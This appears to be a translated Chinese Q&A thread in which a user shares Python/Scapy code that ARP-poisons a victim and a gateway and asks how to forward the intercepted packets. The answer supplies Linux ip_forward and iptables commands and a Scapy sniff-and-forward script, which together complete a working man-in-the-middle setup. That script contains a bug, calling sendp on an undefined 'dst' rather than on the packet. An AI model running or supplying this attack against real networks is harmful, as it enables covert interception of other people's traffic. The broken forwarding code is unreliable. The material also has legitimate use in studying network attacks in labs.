ARP中毒时的数据包转发

时间:2017-05-13 16:02:11

标签: python scapy packet arp

我想在ARP中毒的时候制作一个“代理”,它适用于UDP,如果我发送一个pkt到谷歌我在电脑上看到它使用wireshark

def trick(gate_mac, victim_mac):
    '''Tricks the victim and the gate_way, using arp'''
    my_mac=ARP()
    my_mac=my_mac.hwsrc
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
    print "TRICKED"

这是我写给arp毒药的函数,现在我想将我从受害者的电脑上获得的所有数据包发送到路由器/ 但我不知道如何进行数据包转发。

1 个答案:

答案 0 :(得分:0)

您只需激活操作系统数据包转发即可。如果你正在运行Linux,那么一个简单的sysctl -w net.ipv4.ip_forward=1就应该这样做。

您可能还需要让数据包通过您的防火墙; iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT之类的内容应该有效(如果您再次使用Linux)。

在其他操作系统下,您需要了解如何启用数据包转发,并在需要时添加防火墙规则。如果无法启用数据包转发,则可以运行另一个Scapy脚本来为您转发数据包。这是一个例子:

VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
    GATEWAY_MAC: VICTIM_MAC,
    VICTIM_MAC: GATEWAY_MAC,
}

def forward_pkt(pkt):
    pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
    sendp(dst)

sniff(
    prn=forward_pkt,
    filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
                                                      GATEWAY_MAC)
)